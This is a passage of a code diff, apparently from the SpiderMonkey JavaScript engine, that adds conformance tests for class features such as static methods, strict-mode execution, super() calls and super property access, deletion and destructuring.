@@ -0,0 +1,10 @@
+function assertThrownErrorContains(thunk, substr) {
+ try {
+ thunk();
+ } catch (e) {
+ if (e.message.indexOf(substr) !== -1)
+ return;
+ throw new Error("Expected error containing " + substr + ", got " + e);
+ }
+ throw new Error("Expected error containing " + substr + ", no exception thrown");
+}
diff --git a/js/src/tests/non262/class/staticConstructor.js b/js/src/tests/non262/class/staticConstructor.js
new file mode 100644
index 0000000000..bd79c22005
--- /dev/null
+++ b/js/src/tests/non262/class/staticConstructor.js
@@ -0,0 +1,22 @@
+class testBasic {
+ constructor() { }
+ static constructor() { }
+}
+
+class testWithExtends extends null {
+ constructor() { };
+ static constructor() { };
+}
+
+class testOrder {
+ static constructor() { };
+ constructor() { };
+}
+
+class testOrderWithExtends extends null {
+ static constructor() { };
+ constructor() { };
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/staticMethods.js b/js/src/tests/non262/class/staticMethods.js
new file mode 100644
index 0000000000..756e5abf56
--- /dev/null
+++ b/js/src/tests/non262/class/staticMethods.js
@@ -0,0 +1,15 @@
+// basic static method test
+class X {
+ static count() { return ++this.hits; }
+ constructor() { }
+}
+X.hits = 0;
+assertEq(X.count(), 1);
+
+// A static method is just a function.
+assertEq(X.count instanceof Function, true);
+assertEq(X.count.length, 0);
+assertEq(X.count.bind({hits: 77})(), 78);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/strictExecution.js b/js/src/tests/non262/class/strictExecution.js
new file mode 100644
index 0000000000..f459311e55
--- /dev/null
+++ b/js/src/tests/non262/class/strictExecution.js
@@ -0,0 +1,38 @@
+// Classes are always strict mode. Check computed property names and heritage
+// expressions as well.
+
+class a { constructor() { Object.preventExtensions({}).prop = 0; } }
+assertThrowsInstanceOf(() => new a(), TypeError);
+var aExpr = class { constructor() { Object.preventExtensions().prop = 0; } };
+assertThrowsInstanceOf(() => new aExpr(), TypeError);
+
+function shouldThrowCPN() {
+ class b {
+ [Object.preventExtensions({}).prop = 4]() { }
+ constructor() { }
+ }
+}
+function shouldThrowCPNExpr() {
+ var b = class {
+ [Object.preventExtensions({}).prop = 4]() { }
+ constructor() { }
+ };
+}
+assertThrowsInstanceOf(shouldThrowCPN, TypeError);
+assertThrowsInstanceOf(shouldThrowCPNExpr, TypeError);
+
+function shouldThrowHeritage() {
+ class b extends (Object.preventExtensions({}).prop = 4) {
+ constructor() { }
+ }
+}
+function shouldThrowHeritageExpr() {
+ var b = class extends (Object.preventExtensions({}).prop = 4) {
+ constructor() { }
+ };
+}
+assertThrowsInstanceOf(shouldThrowHeritage, TypeError);
+assertThrowsInstanceOf(shouldThrowHeritageExpr, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/stringConstructor.js b/js/src/tests/non262/class/stringConstructor.js
new file mode 100644
index 0000000000..4e8ae3331f
--- /dev/null
+++ b/js/src/tests/non262/class/stringConstructor.js
@@ -0,0 +1,12 @@
+class A {
+ "constructor"() { return {}; }
+}
+assertEq(new A() instanceof A, false);
+
+class B extends class { } {
+ "constructor"() { return {}; }
+}
+assertEq(new B() instanceof B, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/subclassedArrayUnboxed.js b/js/src/tests/non262/class/subclassedArrayUnboxed.js
new file mode 100644
index 0000000000..eb27a960d0
--- /dev/null
+++ b/js/src/tests/non262/class/subclassedArrayUnboxed.js
@@ -0,0 +1,22 @@
+class foo extends Array { }
+
+function testArrs(arrs) {
+ for (let arr of arrs) {
+ assertEq(Object.getPrototypeOf(arr), foo.prototype);
+ }
+}
+
+var arrs = [];
+for (var i = 0; i < 25; i++)
+ arrs.push(new foo(1));
+
+testArrs(arrs);
+
+arrs[0].nonIndexedProp = "uhoh";
+
+arrs.push(new foo(1));
+
+testArrs(arrs);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallBadDynamicSuperClass.js b/js/src/tests/non262/class/superCallBadDynamicSuperClass.js
new file mode 100644
index 0000000000..f5b3ac3c0c
--- /dev/null
+++ b/js/src/tests/non262/class/superCallBadDynamicSuperClass.js
@@ -0,0 +1,12 @@
+class base { constructor() { } }
+
+class inst extends base { constructor() { super(); } }
+Object.setPrototypeOf(inst, Math.sin);
+assertThrowsInstanceOf(() => new inst(), TypeError);
+
+class defaultInst extends base { }
+Object.setPrototypeOf(inst, Math.sin);
+assertThrowsInstanceOf(() => new inst(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallBadNewTargetPrototype.js b/js/src/tests/non262/class/superCallBadNewTargetPrototype.js
new file mode 100644
index 0000000000..43d1eb60d1
--- /dev/null
+++ b/js/src/tests/non262/class/superCallBadNewTargetPrototype.js
@@ -0,0 +1,25 @@
+class base { constructor() { } }
+
+// lies and the lying liars who tell them
+function lies() { }
+lies.prototype = 4;
+
+assertThrowsInstanceOf(()=>Reflect.consruct(base, [], lies), TypeError);
+
+// lie a slightly different way
+function get(target, property, receiver) {
+ if (property === "prototype")
+ return 42;
+ return Reflect.get(target, property, receiver);
+}
+
+class inst extends base {
+ constructor() { super(); }
+}
+assertThrowsInstanceOf(()=>new new Proxy(inst, {get})(), TypeError);
+
+class defaultInst extends base {}
+assertThrowsInstanceOf(()=>new new Proxy(defaultInst, {get})(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallBaseInvoked.js b/js/src/tests/non262/class/superCallBaseInvoked.js
new file mode 100644
index 0000000000..b66f9be170
--- /dev/null
+++ b/js/src/tests/non262/class/superCallBaseInvoked.js
@@ -0,0 +1,55 @@
+function testBase(base) {
+ class instance extends base {
+ constructor(inst, one) {
+ super(inst, one);
+ }
+ }
+
+ let inst = new instance(instance, 1);
+ assertEq(Object.getPrototypeOf(inst), instance.prototype);
+ assertEq(inst.calledBase, true);
+
+ class defaultInstance extends base { }
+ let defInst = new defaultInstance(defaultInstance, 1);
+ assertEq(Object.getPrototypeOf(defInst), defaultInstance.prototype);
+ assertEq(defInst.calledBase, true);
+}
+
+class base {
+ // Base class must be [[Construct]]ed, as you cannot [[Call]] a class
+ // constructor
+ constructor(nt, one) {
+ assertEq(new.target, nt);
+
+ // Check argument ordering
+ assertEq(one, 1);
+ this.calledBase = true;
+ }
+}
+
+testBase(base);
+testBase(class extends base {
+ constructor(nt, one) {
+ // Every step of the way, new.target and args should be right
+ assertEq(new.target, nt);
+ assertEq(one, 1);
+ super(nt, one);
+ }
+ });
+function baseFunc(nt, one) {
+ assertEq(new.target, nt);
+ assertEq(one, 1);
+ this.calledBase = true;
+}
+
+testBase(baseFunc);
+
+let handler = {};
+let p = new Proxy(baseFunc, handler);
+testBase(p);
+
+handler.construct = (target, args, nt) => Reflect.construct(target, args, nt);
+testBase(p);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallIllegal.js b/js/src/tests/non262/class/superCallIllegal.js
new file mode 100644
index 0000000000..8b7b36397d
--- /dev/null
+++ b/js/src/tests/non262/class/superCallIllegal.js
@@ -0,0 +1,7 @@
+// super() invalid outside derived class constructors, including in dynamic
+// functions and eval
+assertThrowsInstanceOf(() => new Function("super();"), SyntaxError);
+assertThrowsInstanceOf(() => eval("super()"), SyntaxError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallInvalidBase.js b/js/src/tests/non262/class/superCallInvalidBase.js
new file mode 100644
index 0000000000..86b24f96c5
--- /dev/null
+++ b/js/src/tests/non262/class/superCallInvalidBase.js
@@ -0,0 +1,9 @@
+class instance extends null {
+ constructor() { super(); }
+}
+
+assertThrowsInstanceOf(() => new instance(), TypeError);
+assertThrowsInstanceOf(() => new class extends null { }(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallOrder.js b/js/src/tests/non262/class/superCallOrder.js
new file mode 100644
index 0000000000..46a1b0e57c
--- /dev/null
+++ b/js/src/tests/non262/class/superCallOrder.js
@@ -0,0 +1,28 @@
+function base() { }
+
+class beforeSwizzle extends base {
+ constructor() {
+ super(Object.setPrototypeOf(beforeSwizzle, null));
+ }
+}
+
+new beforeSwizzle();
+
+function MyError() {}
+
+// Again, testing both dynamic prototype dispatch, and that we verify the function
+// is a constructor after evaluating args
+class beforeThrow extends base {
+ constructor() {
+ function thrower() { throw new MyError(); }
+ super(thrower());
+ }
+}
+
+Object.setPrototypeOf(beforeThrow, Math.sin);
+
+// Won't throw that Math.sin is not a constructor before evaluating the args
+assertThrowsInstanceOf(() => new beforeThrow(), MyError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallProperBase.js b/js/src/tests/non262/class/superCallProperBase.js
new file mode 100644
index 0000000000..cc03f57d08
--- /dev/null
+++ b/js/src/tests/non262/class/superCallProperBase.js
@@ -0,0 +1,34 @@
+class base1 {
+ constructor() {
+ this.base = 1;
+ }
+}
+
+class base2 {
+ constructor() {
+ this.base = 2;
+ }
+}
+
+class inst extends base1 {
+ constructor() {
+ super();
+ }
+}
+
+assertEq(new inst().base, 1);
+
+Object.setPrototypeOf(inst, base2);
+
+assertEq(new inst().base, 2);
+
+// Still works with default constructor
+
+class defaultInst extends base1 { }
+
+assertEq(new defaultInst().base, 1);
+Object.setPrototypeOf(defaultInst, base2);
+assertEq(new defaultInst().base, 2);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallSpreadCall.js b/js/src/tests/non262/class/superCallSpreadCall.js
new file mode 100644
index 0000000000..1045f1a22a
--- /dev/null
+++ b/js/src/tests/non262/class/superCallSpreadCall.js
@@ -0,0 +1,27 @@
+class base {
+ constructor(a, b, c) {
+ assertEq(a, 1);
+ assertEq(b, 2);
+ assertEq(c, 3);
+ this.calledBase = true;
+ }
+}
+
+class doTest extends base {
+ constructor(arr) {
+ super(...arr);
+ }
+}
+
+assertEq(new doTest([1,2,3]).calledBase, true);
+
+class testRest extends base {
+ constructor(...args) {
+ super(...args);
+ }
+}
+
+assertEq(new testRest(1,2,3).calledBase, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallThisInit.js b/js/src/tests/non262/class/superCallThisInit.js
new file mode 100644
index 0000000000..935f6b69ff
--- /dev/null
+++ b/js/src/tests/non262/class/superCallThisInit.js
@@ -0,0 +1,48 @@
+function base() { this.prop = 42; }
+
+class testInitialize extends base {
+ constructor() {
+ // A poor man's assertThrowsInstanceOf, as arrow functions are currently
+ // disabled in this context
+ try {
+ this;
+ throw new Error();
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ throw e;
+ }
+ super();
+ assertEq(this.prop, 42);
+ }
+}
+assertEq(new testInitialize().prop, 42);
+
+// super() twice is a no-go.
+class willThrow extends base {
+ constructor() {
+ super();
+ super();
+ }
+}
+assertThrowsInstanceOf(()=>new willThrow(), ReferenceError);
+
+// This is determined at runtime, not the syntax level.
+class willStillThrow extends base {
+ constructor() {
+ for (let i = 0; i < 3; i++) {
+ super();
+ }
+ }
+}
+assertThrowsInstanceOf(()=>new willStillThrow(), ReferenceError);
+
+class canCatchThrow extends base {
+ constructor() {
+ super();
+ try { super(); } catch(e) { }
+ }
+}
+assertEq(new canCatchThrow().prop, 42);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superElemDelete.js b/js/src/tests/non262/class/superElemDelete.js
new file mode 100644
index 0000000000..74d2c94e15
--- /dev/null
+++ b/js/src/tests/non262/class/superElemDelete.js
@@ -0,0 +1,68 @@
+// Make sure we get the proper side effects.
+// |delete super[expr]| applies ToPropertyKey on |expr| before throwing.
+
+class base {
+ constructor() { }
+}
+
+class derived extends base {
+ constructor() { super(); }
+ testDeleteElem() {
+ let sideEffect = 0;
+ let key = {
+ toString() {
+ sideEffect++;
+ return "";
+ }
+ };
+ assertThrowsInstanceOf(() => delete super[key], ReferenceError);
+ assertEq(sideEffect, 1);
+ }
+ testDeleteElemPropValFirst() {
+ // The deletion error is a reference error, even after munging the prototype
+ // chain.
+ let key = {
+ toString() {
+ Object.setPrototypeOf(derived.prototype, null);
+ return "";
+ }
+ };
+ delete super[key];
+ }
+}
+
+class derivedTestDeleteElem extends base {
+ constructor() {
+ let sideEffect = 0;
+ let key = {
+ toString() {
+ sideEffect++;
+ return "";
+ }
+ };
+
+ assertThrowsInstanceOf(() => delete super[key], ReferenceError);
+ assertEq(sideEffect, 0);
+
+ super();
+
+ assertThrowsInstanceOf(() => delete super[key], ReferenceError);
+ assertEq(sideEffect, 1);
+
+ Object.setPrototypeOf(derivedTestDeleteElem.prototype, null);
+
+ assertThrowsInstanceOf(() => delete super[key], ReferenceError);
+ assertEq(sideEffect, 2);
+
+ return {};
+ }
+}
+
+var d = new derived();
+d.testDeleteElem();
+assertThrowsInstanceOf(() => d.testDeleteElemPropValFirst(), ReferenceError);
+
+new derivedTestDeleteElem();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropBasicCalls.js b/js/src/tests/non262/class/superPropBasicCalls.js
new file mode 100644
index 0000000000..c05d0ec26c
--- /dev/null
+++ b/js/src/tests/non262/class/superPropBasicCalls.js
@@ -0,0 +1,27 @@
+// Super property (and calls) works in non-extending classes and object
+// litterals.
+class toStringTest {
+ constructor() {
+ // Install a property to make it plausible that it's the same this
+ this.foo = "rhinoceros";
+ }
+
+ test() {
+ assertEq(super.toString(), super["toString"]());
+ assertEq(super.toString(), this.toString());
+ }
+}
+
+new toStringTest().test();
+
+let toStrOL = {
+ test() {
+ assertEq(super.toString(), super["toString"]());
+ assertEq(super.toString(), this.toString());
+ }
+}
+
+toStrOL.test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropBasicChain.js b/js/src/tests/non262/class/superPropBasicChain.js
new file mode 100644
index 0000000000..12bf84820e
--- /dev/null
+++ b/js/src/tests/non262/class/superPropBasicChain.js
@@ -0,0 +1,11 @@
+var o = {
+ access() {
+ super.foo.bar;
+ }
+};
+
+// Delazify
+assertThrowsInstanceOf(o.access, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropBasicGetter.js b/js/src/tests/non262/class/superPropBasicGetter.js
new file mode 100644
index 0000000000..fe1f4eeee8
--- /dev/null
+++ b/js/src/tests/non262/class/superPropBasicGetter.js
@@ -0,0 +1,36 @@
+class base {
+ constructor() {}
+
+ getValue() {
+ return this._prop;
+ }
+
+ setValue(v) {
+ this._prop = v;
+ }
+}
+
+class derived extends base {
+ constructor() { super(); }
+
+ get a() { return super.getValue(); }
+ set a(v) { super.setValue(v); }
+
+ get b() { return eval('super.getValue()'); }
+ set b(v) { eval('super.setValue(v);'); }
+
+ test() {
+ this.a = 15;
+ assertEq(this.a, 15);
+
+ assertEq(this.b, 15);
+ this.b = 30;
+ assertEq(this.b, 30);
+ }
+}
+
+var derivedInstance = new derived();
+derivedInstance.test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropBasicNew.js b/js/src/tests/non262/class/superPropBasicNew.js
new file mode 100644
index 0000000000..e1ca9b4ae1
--- /dev/null
+++ b/js/src/tests/non262/class/superPropBasicNew.js
@@ -0,0 +1,17 @@
+class Base {
+ constructor() {}
+}
+class Mid extends Base {
+ constructor() { super(); }
+ f() { return new super.constructor(); }
+}
+class Derived extends Mid {
+ constructor() { super(); }
+}
+
+let d = new Derived();
+var df = d.f();
+assertEq(df.constructor, Base);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropChains.js b/js/src/tests/non262/class/superPropChains.js
new file mode 100644
index 0000000000..e8c0de05cd
--- /dev/null
+++ b/js/src/tests/non262/class/superPropChains.js
@@ -0,0 +1,58 @@
+// First, let's test the trivial. A chain of three works.
+class base {
+ constructor() { }
+ testChain() {
+ this.baseCalled = true;
+ }
+}
+
+class middle extends base {
+ constructor() { super(); }
+ testChain() {
+ this.middleCalled = true;
+ super.testChain();
+ }
+}
+
+class derived extends middle {
+ constructor() { super(); }
+ testChain() {
+ super.testChain();
+ assertEq(this.middleCalled, true);
+ assertEq(this.baseCalled, true);
+ }
+}
+
+new derived().testChain();
+
+// Super even chains in a wellbehaved fashion with normal functions.
+function bootlegMiddle() { }
+bootlegMiddle.prototype = middle.prototype;
+
+new class extends bootlegMiddle {
+ constructor() { super(); }
+ testChain() {
+ super.testChain();
+ assertEq(this.middleCalled, true);
+ assertEq(this.baseCalled, true);
+ }
+ }().testChain();
+
+// Now let's try out some "long" chains
+base.prototype.x = "yeehaw";
+
+let chain = class extends base { constructor() { super(); } }
+
+const CHAIN_LENGTH = 100;
+for (let i = 0; i < CHAIN_LENGTH; i++)
+ chain = class extends chain { constructor() { super(); } }
+
+// Now we poke the chain
+let inst = new chain();
+inst.testChain();
+assertEq(inst.baseCalled, true);
+
+assertEq(inst.x, "yeehaw");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropDVG.js b/js/src/tests/non262/class/superPropDVG.js
new file mode 100644
index 0000000000..f187cb6ea1
--- /dev/null
+++ b/js/src/tests/non262/class/superPropDVG.js
@@ -0,0 +1,17 @@
+// Super property accesses should play nice with the pretty printer.
+class testNonExistent {
+ constructor() {
+ super["prop"]();
+ }
+}
+// Should fold to super.prop
+assertThrownErrorContains(() => new testNonExistent(), 'super.prop');
+
+var ol = { testNonExistent() { super.prop(); } };
+assertThrownErrorContains(() => ol.testNonExistent(), "super.prop");
+
+var olElem = { testNonExistent() { var prop = "prop"; super[prop](); } };
+assertThrownErrorContains(() => olElem.testNonExistent(), "super[prop]");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropDelete.js b/js/src/tests/non262/class/superPropDelete.js
new file mode 100644
index 0000000000..e0b71613ea
--- /dev/null
+++ b/js/src/tests/non262/class/superPropDelete.js
@@ -0,0 +1,64 @@
+// Make sure we get the proper side effects.
+// |delete super.prop| and |delete super[expr]| throw universally.
+
+class base {
+ constructor() { }
+}
+
+class derived extends base {
+ constructor() { super(); }
+ testDeleteProp() { delete super.prop; }
+ testDeleteElem() {
+ let sideEffect = 0;
+ assertThrowsInstanceOf(() => delete super[sideEffect = 1], ReferenceError);
+ assertEq(sideEffect, 1);
+ }
+ testDeleteElemPropValFirst() {
+ // The deletion error is a reference error, but by munging the prototype
+ // chain, we can force a typeerror from JSOP_SUPERBASE
+ delete super[Object.setPrototypeOf(derived.prototype, null)];
+ }
+}
+
+var d = new derived();
+assertThrowsInstanceOf(() => d.testDeleteProp(), ReferenceError);
+d.testDeleteElem();
+assertThrowsInstanceOf(() => d.testDeleteElemPropValFirst(), TypeError);
+
+// |delete super.x| does not delete anything before throwing.
+var thing1 = {
+ go() { delete super.toString; }
+};
+let saved = Object.prototype.toString;
+assertThrowsInstanceOf(() => thing1.go(), ReferenceError);
+assertEq(Object.prototype.toString, saved);
+
+// |delete super.x| does not tell the prototype to delete anything, when it's a proxy.
+var thing2 = {
+ go() { delete super.prop; }
+};
+Object.setPrototypeOf(thing2, new Proxy({}, {
+ deleteProperty(x) { throw "FAIL"; }
+}));
+assertThrowsInstanceOf(() => thing2.go(), ReferenceError);
+
+class derivedTestDeleteProp extends base {
+ constructor() {
+ // The deletion error is a reference error, even after munging the prototype
+ // chain.
+ Object.setPrototypeOf(derivedTestDeleteProp.prototype, null);
+
+ assertThrowsInstanceOf(() => delete super.prop, ReferenceError);
+
+ super();
+
+ assertThrowsInstanceOf(() => delete super.prop, ReferenceError);
+
+ return {};
+ }
+}
+
+new derivedTestDeleteProp();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropDerivedCalls.js b/js/src/tests/non262/class/superPropDerivedCalls.js
new file mode 100644
index 0000000000..1a8a036057
--- /dev/null
+++ b/js/src/tests/non262/class/superPropDerivedCalls.js
@@ -0,0 +1,77 @@
+let derivedInstance;
+
+class base {
+ constructor() { }
+ method(a, b, c) {
+ assertEq(this, derivedInstance);
+ this.methodCalled = true;
+ assertEq(a, 1);
+ assertEq(b, 2);
+ assertEq(c, 3);
+ }
+
+ get prop() {
+ assertEq(this, derivedInstance);
+ this.getterCalled = true;
+ return this._prop;
+ }
+
+ set prop(val) {
+ assertEq(this, derivedInstance);
+ this.setterCalled = true;
+ this._prop = val;
+ }
+}
+
+class derived extends base {
+ constructor() { super(); }
+
+ // |super| actually checks the chain, not |this|
+ method() { throw "FAIL"; }
+ get prop() { throw "FAIL"; }
+ set prop(v) { throw "FAIL"; }
+
+ test() {
+ this.reset();
+ // While we're here. Let's check on super spread calls...
+ let spread = [1,2,3];
+ super.method(...spread);
+ super.prop++;
+ this.asserts();
+ }
+
+ testInEval() {
+ this.reset();
+ eval("super.method(1,2,3); super.prop++");
+ this.asserts();
+ }
+
+ testInArrow() {
+ this.reset();
+ (() => (super.method(1,2,3), super.prop++))();
+ this.asserts();
+ }
+
+ reset() {
+ this._prop = 0;
+ this.methodCalled = false;
+ this.setterCalled = false;
+ this.getterCalled = false;
+ }
+
+ asserts() {
+ assertEq(this.methodCalled, true);
+ assertEq(this.getterCalled, true);
+ assertEq(this.setterCalled, true);
+ assertEq(this._prop, 1);
+ }
+
+}
+
+derivedInstance = new derived();
+derivedInstance.test();
+derivedInstance.testInEval();
+derivedInstance.testInArrow();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropDestructuring.js b/js/src/tests/non262/class/superPropDestructuring.js
new file mode 100644
index 0000000000..84d1bb517a
--- /dev/null
+++ b/js/src/tests/non262/class/superPropDestructuring.js
@@ -0,0 +1,43 @@
+class base {
+ constructor() { }
+}
+
+let seenValues;
+Object.defineProperty(base.prototype, "minutes",
+ {
+ set(x) {
+ assertEq(x, 525600);
+ seenValues.push(x);
+ }
+ });
+Object.defineProperty(base.prototype, "intendent",
+ {
+ set(x) {
+ assertEq(x, "Fred");
+ seenValues.push(x)
+ }
+ });
+
+const testArr = [525600, "Fred"];
+class derived extends base {
+ constructor() { super(); }
+ prepForTest() { seenValues = []; }
+ testAsserts() { assertDeepEq(seenValues, testArr); }
+ testProps() {
+ this.prepForTest();
+ [super.minutes, super.intendent] = testArr;
+ this.testAsserts();
+ }
+ testElems() {
+ this.prepForTest();
+ [super["minutes"], super["intendent"]] = testArr;
+ this.testAsserts();
+ }
+}
+
+let d = new derived();
+d.testProps();
+d.testElems();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropEvalInsideArrow.js b/js/src/tests/non262/class/superPropEvalInsideArrow.js
new file mode 100644
index 0000000000..882f93ba0a
--- /dev/null
+++ b/js/src/tests/non262/class/superPropEvalInsideArrow.js
@@ -0,0 +1,11 @@
+class foo {
+ constructor() { }
+
+ method() {
+ return (() => eval('super.toString'));
+ }
+}
+assertEq(new foo().method()(), Object.prototype.toString);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropEvalInsideNested.js b/js/src/tests/non262/class/superPropEvalInsideNested.js
new file mode 100644
index 0000000000..04cdab0499
--- /dev/null
+++ b/js/src/tests/non262/class/superPropEvalInsideNested.js
@@ -0,0 +1,13 @@
+// It's invalid to eval super.prop inside a nested non-method, even if it
+// appears inside a method definition
+assertThrowsInstanceOf(() =>
+({
+ method() {
+ (function () {
+ eval('super.toString');
+ })();
+ }
+}).method(), SyntaxError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropFor.js b/js/src/tests/non262/class/superPropFor.js
new file mode 100644
index 0000000000..23b222cb3e
--- /dev/null
+++ b/js/src/tests/non262/class/superPropFor.js
@@ -0,0 +1,25 @@
+class testForIn {
+ constructor() {
+ let hits = 0;
+ for (super.prop in { prop1: 1, prop2: 2 })
+ hits++;
+ assertEq(this.prop, "prop2");
+ assertEq(hits, 2);
+ }
+}
+
+new testForIn();
+
+
+({
+ testForOf() {
+ let hits = 0;
+ for (super["prop"] of [1, 2])
+ hits++;
+ assertEq(this.prop, 2);
+ assertEq(hits, 2);
+ }
+}).testForOf();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropHeavyweightArrow.js b/js/src/tests/non262/class/superPropHeavyweightArrow.js
new file mode 100644
index 0000000000..ce30690d53
--- /dev/null
+++ b/js/src/tests/non262/class/superPropHeavyweightArrow.js
@@ -0,0 +1,12 @@
+class foo {
+ constructor() { }
+
+ method() {
+ return (() => (eval(''), super.toString));
+ }
+}
+
+assertEq(new foo().method()(), Object.prototype.toString);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropHomeObject.js b/js/src/tests/non262/class/superPropHomeObject.js
new file mode 100644
index 0000000000..b23c115dd5
--- /dev/null
+++ b/js/src/tests/non262/class/superPropHomeObject.js
@@ -0,0 +1,61 @@
+// This is super weird. A super property reference in the spec contains two
+// things. The first is the object to do the lookup on, the super base. This
+// should be unchanged, no matter what's going on: I can move the method to
+// another object. I can pull it out as its own function. I can put it on my
+// head and run around the front yard. No changes. The other half, the |this|
+// for invoked calls, is the this at the time of referencing the property, which
+// means it's gonna vary wildly as stuff gets moved around.
+
+class base {
+ constructor() { }
+ test(expectedThis) { assertEq(this, expectedThis); }
+}
+
+class derived extends base {
+ constructor() { super(); }
+ test(expected) { super.test(expected); }
+ testArrow() { return (() => super.test(this)); }
+ ["testCPN"](expected) { super.test(expected); }
+}
+
+let derivedInstance = new derived();
+derivedInstance.test(derivedInstance);
+derivedInstance.testCPN(derivedInstance);
+
+let obj = { test: derivedInstance.test };
+obj.test(obj);
+
+// Classes are strict, so primitives are not boxed/turned into globals
+let testSolo = derivedInstance.test;
+testSolo(undefined);
+
+let anotherObject = { };
+derivedInstance.test.call(anotherObject, anotherObject);
+
+let strThis = "this is not an object!";
+derivedInstance.test.call(strThis, strThis);
+
+// You can take the arrow function out of the super, ... or something like that
+let arrowTest = derivedInstance.testArrow();
+arrowTest();
+
+// There's no magic "super script index" per code location.
+class base1 {
+ constructor() { }
+ test() { return "llama"; }
+}
+class base2 {
+ constructor() { }
+ test() { return "alpaca"; }
+}
+
+let animals = [];
+for (let exprBase of [base1, base2])
+ new class extends exprBase {
+ constructor() { super(); }
+ test() { animals.push(super["test"]()); }
+ }().test();
+assertDeepEq(animals, ["llama", "alpaca"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropIncDecElem.js b/js/src/tests/non262/class/superPropIncDecElem.js
new file mode 100644
index 0000000000..a7b93eb371
--- /dev/null
+++ b/js/src/tests/non262/class/superPropIncDecElem.js
@@ -0,0 +1,24 @@
+// #1
+function base() { }
+
+base.prototype = {
+ test() {
+ --super[1];
+ }
+}
+
+var d = new base();
+d.test();
+
+// #2
+class test2 {
+ test() {
+ super[1]++;
+ }
+}
+
+var d = new test2();
+d.test()
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropLazyInnerFunction.js b/js/src/tests/non262/class/superPropLazyInnerFunction.js
new file mode 100644
index 0000000000..d7a441f93b
--- /dev/null
+++ b/js/src/tests/non262/class/superPropLazyInnerFunction.js
@@ -0,0 +1,19 @@
+testcase();
+function testcase() {
+ var tokenCodes = {
+ get try() {
+ try {
+ super.actual();
+ } catch (e) {}
+ }
+ };
+ var arr = [
+ 'try',
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {};
+ }
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropNoOverwriting.js b/js/src/tests/non262/class/superPropNoOverwriting.js
new file mode 100644
index 0000000000..db44b509c5
--- /dev/null
+++ b/js/src/tests/non262/class/superPropNoOverwriting.js
@@ -0,0 +1,58 @@
+class X {
+ constructor() {
+ Object.defineProperty(this, "prop1", {
+ configurable: true,
+ writable: false,
+ value: 1
+ });
+
+ Object.defineProperty(this, "prop2", {
+ configurable: true,
+ get: function() { return 15; }
+ });
+
+ Object.defineProperty(this, "prop3", {
+ configurable: true,
+ set: function(a) { }
+ });
+
+ Object.defineProperty(this, "prop4", {
+ configurable: true,
+ get: function() { return 20; },
+ set: function(a) { }
+ });
+ }
+
+ f1() {
+ super.prop1 = 2;
+ }
+
+ f2() {
+ super.prop2 = 3;
+ }
+
+ f3() {
+ super.prop3 = 4;
+ }
+
+ f4() {
+ super.prop4 = 5;
+ }
+}
+
+var x = new X();
+
+assertThrowsInstanceOf(() => x.f1(), TypeError);
+assertEq(x.prop1, 1);
+
+assertThrowsInstanceOf(() => x.f2(), TypeError);
+assertEq(x.prop2, 15);
+
+assertThrowsInstanceOf(() => x.f3(), TypeError);
+assertEq(x.prop3, undefined);
+
+assertThrowsInstanceOf(() => x.f4(), TypeError);
